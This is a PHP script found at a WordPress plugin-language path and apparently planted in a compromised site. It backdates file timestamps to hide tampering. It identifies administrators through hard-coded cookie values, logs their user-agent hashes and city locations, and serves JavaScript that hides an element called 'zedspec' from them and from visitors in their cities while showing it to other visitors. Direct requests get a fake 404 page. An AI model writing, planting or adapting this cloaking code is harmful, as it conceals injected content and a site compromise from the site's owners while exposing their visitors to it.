File: /var/www/ilya/data/www/eeggs.ru/wp-content/languages/plugins/get/get.php
<?php
// v0.1
$time = mktime(13, 48, 30, 10, 12, 2019);
function timefile1($filetime) {
$dir = dirname(__FILE__);
$filename =__FILE__;
$data = dirname(__FILE__)."/".$filetime;
global $time;
touch($filename, $time);
touch($data, $time);
touch($dir, $time);
}
function us_ip() {
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = @$_SERVER['REMOTE_ADDR'];
if(filter_var($client, FILTER_VALIDATE_IP)) {
$ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP)) {
$ip = $forward;
}
else {
$ip = $remote;
}
return $ip;
}
function is_sxg() {
if ((file_exists('sxg.php'))&&(file_exists('dbs.dat'))) {
return TRUE;
}
}
if (file_exists("sxg.php")) {include("sxg.php");}
function sity_id() {
$ip = us_ip();
$SxGeo = new SxGeo('dbs.dat', SXGEO_BATCH | SXGEO_MEMORY);
$a = $SxGeo->get($ip);
return $a["city"]["id"];
}
function viv1($usertype1) {
if ($usertype1 == "a") {
$vivod77 = "document.getElementById('zedspec').style.display = 'none';";
}
else {
$vivod77 = "";
}
header("Content-type: text/javascript");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Expires: " . date("r"));
echo $vivod77;
}
function badCook1() {
$admcook1 = @$_COOKIE['mainl'];
$admcook2 = @$_COOKIE['itis'];
if (($admcook1 == 'ad6jjfT6ed6min') || ($admcook2 == 'tagB6kirBged')) {
return TRUE;
}
}
function mbaCook1() {
$mbacook = @$_COOKIE['info86'];
if ($mbacook == 'rec') {
return TRUE;
}
}
function cliCook1() {
setcookie('clientrecl','yes1', time()+1200,'/');
}
function size_file1($param, $num) {
clearstatcache ();
if(!file_exists($param))exit;
$file = file($param);
$lineCount = count($file);
if ($lineCount >= $num) {
unset($file[0]);
file_put_contents($param, implode('', $file));
}
else {
}
}
function error_page1() {
header($_SERVER['SERVER_PROTOCOL']." 404 Not Found");
echo "<h1>Error 404 Not Found</h1>";
}
function usinfo1() {
$ua = $_SERVER['HTTP_USER_AGENT'];
$monsize = @$_GET[i];
$all = $ua. ">" .$monsize;
$all = strval($all);
$all = md5 ( $all )."\r\n";
return $all;
}
function admsearch1($name_file, $info) {
if (!file_exists($name_file)) {
$fp = fopen($name_file, "w");
fclose($fp);
}
$allinf = (string)$info;
$mystring = file_get_contents($name_file);
$pos = strpos($mystring, $allinf);
if ($pos !== false) {
return TRUE;
}
}
function infowrite1() {
if (admsearch1("lib.txt", usinfo1()) != TRUE) {
$allwr = usinfo1();
$file_info = "lib.txt";
$fp = fopen($file_info, "a");
fwrite($fp, $allwr);
fclose($fp);
size_file1("lib.txt", 8);
timefile1("lib.txt");
return;
}
}
function geo_infowrite() {
if ((is_sxg() == true) && (sity_id() != false)) {
if (admsearch1("id.txt", sity_id()) != TRUE) {
$allwr = sity_id()."\r\n";
$file_info = "id.txt";
$fp = fopen($file_info, "a");
fwrite($fp, $allwr);
fclose($fp);
size_file1('id.txt', 5);
timefile1("id.txt");
return;
}
}
}
function geocookies() {
setcookie('gipsek','33000125434', time()+3600*12,'/');
}
function chekgeoipcook() {
$geocook = @$_COOKIE['gipsek'];
if ($geocook == '33000125434') {
return TRUE;
}
else {
return FALSE;
}
}
if (badCook1() == TRUE) {
if (chekgeoipcook() != TRUE) {
geo_infowrite();
geocookies();
}
infowrite1();
viv1("a");
}
else if (mbaCook1() == TRUE) {
viv1("a");
}
else if (chekgeoipcook() == TRUE) {
viv1("a");
}
else if (@$_SERVER['HTTP_REFERER'] != TRUE) {
error_page1();
}
else {
if (admsearch1("lib.txt", usinfo1()) == TRUE) {
viv1("a");
}
else if (admsearch1("id.txt", sity_id()) == TRUE) {
geocookies();
viv1("a");
}
else {
cliCook1();
viv1("b");
}
}
?>